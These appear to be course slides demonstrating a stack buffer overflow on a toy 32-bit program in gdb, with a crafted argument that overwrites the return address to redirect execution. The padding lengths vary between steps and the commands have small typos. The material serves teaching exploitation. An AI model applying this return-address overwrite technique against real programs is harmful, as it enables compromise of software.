

Technical Cybersecurity

Finish Setting the Stage

We're going to start
generating arguments.

Creating Argument

ORIGINAL

- ▶ `r $(python -c "print('AAAAAAAAAAAAAAAA' + 'BBBBB' + 'CCCC'))"`
- ▶ BBBB is the saved base pointer
- ▶ CCCC is the return address pointer, we want it to be 0x08048491

TRY THIS

- ▶ `r $(python -c "print('AAAAAAAAAAAAAAAA' + 'BBBBB' + '\x91\x84\x04\x08'))"`

OMG What?

YES, IT'S BACKWARDS

- ▶ Welcome to little endian world!
- ▶ We're injecting directly onto the stack, computer architecture won't translate this for us, so we need to convert to little endian to inject it

Annoying? Just you wait.

```

(gdb) r $(python -c "print('AAAAAAAAAAAAAA' + 'BBBB' + '\x91\x84\x04\x08')")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/cclamb/Work/abi-playground/smash $(python -c "print('AAA
AAAAAAAAAAAA' + 'BBBB' + '\x91\x84\x04\x08')")

Breakpoint 3, 0x08048441 in smash (
    arg=0xffffd1d6 'A' <repeats 13 times>, "BBBB\221\204\004\b") at smash.c:7
7      strcpy(buffer, arg);
(gdb) n

Breakpoint 2, smash (arg=0xffffd100 "\003") at smash.c:8
8      }
(gdb) x/20xw $esp
0xffffced0: 0x00000009 0xffffd1af 0x41e0f049 0x41414141
0xffffcee0: 0x41414141 0x41414141 0x42424242 0x08048491
0xffffcef0: 0xffffd100 0x00000000 0xffffcfd0 0x08048467
0xffffcf00: 0x00000002 0xffffcfc4 0xffffcfd0 0xffffd1d6
0xffffcf10: 0xf7fe59b0 0xffffcf30 0x00000000 0xf7df7e81
(gdb)

```

We got it!

We've successfully overwritten the RA pointer!

OMG OMG OMG

PROGRAM BEHAVIOR

- ▶ Step through the program
- ▶ the RA is read into EIP and we resume execution in main
- ▶ ...right at the end!

```
(gdb) disas
Dump of assembler code for function smash:
0x08048426 <+0>:    push    ebp
0x08048427 <+1>:    mov     ebp,esp
0x08048429 <+3>:    push    ebx
0x0804842a <+4>:    sub     esp,0x14
0x0804842d <+7>:    call   0x8048492 <__x86.get_pc_thunk.ax>
0x08048432 <+12>:   add     eax,0x1bce
0x08048437 <+17>:   sub     esp,0x8
0x0804843a <+20>:   push    DWORD PTR [ebp+0x8]
0x0804843d <+23>:   lea     edx,[ebp-0xd]
0x08048440 <+26>:   push    edx
0x08048441 <+27>:   mov     ebx,eax
0x08048443 <+29>:   call   0x80482e0 <strcpy@plt>
0x08048448 <+34>:   add     esp,0x10
0x0804844b <+37>:   nop
0x0804844c <+38>:   mov     ebx,DWORD PTR [ebp-0x4]
0x0804844f <+41>:   leave
=> 0x08048450 <+42>:   ret
End of assembler dump.
(gdb) si
0x08048491 in main (argc=0, argv=0xffffcfd0) at smash.c:14
14      }
(gdb) disas
Dump of assembler code for function main:
0x08048451 <+0>:    lea     ecx,[esp+0x4]
0x08048455 <+4>:    and     esp,0xffffffff
0x08048458 <+7>:    push    DWORD PTR [ecx-0x4]
0x0804845b <+10>:   push    ebp
0x0804845c <+11>:   mov     ebp,esp
0x0804845e <+13>:   push    ecx
0x0804845f <+14>:   sub     esp,0x14
0x08048462 <+17>:   call   0x8048492 <__x86.get_pc_thunk.ax>
0x08048467 <+22>:   add     eax,0x1b99
0x0804846c <+27>:   mov     eax,ecx
0x0804846e <+29>:   mov     eax,DWORD PTR [eax+0x4]
0x08048471 <+32>:   mov     eax,DWORD PTR [eax+0x4]
0x08048474 <+35>:   mov     DWORD PTR [ebp-0xc],eax
0x08048477 <+38>:   sub     esp,0xc
0x0804847a <+41>:   push    DWORD PTR [ebp-0xc]
0x0804847d <+44>:   call   0x8048426 <smash>
0x08048482 <+49>:   add     esp,0x10
0x08048485 <+52>:   mov     eax,0x0
0x0804848a <+57>:   mov     ecx,DWORD PTR [ebp-0x4]
0x0804848d <+60>:   leave
0x0804848e <+61>:   lea     esp,[ecx-0x4]
=> 0x08048491 <+64>:   ret
End of assembler dump.
(gdb)
```

We have the pieces.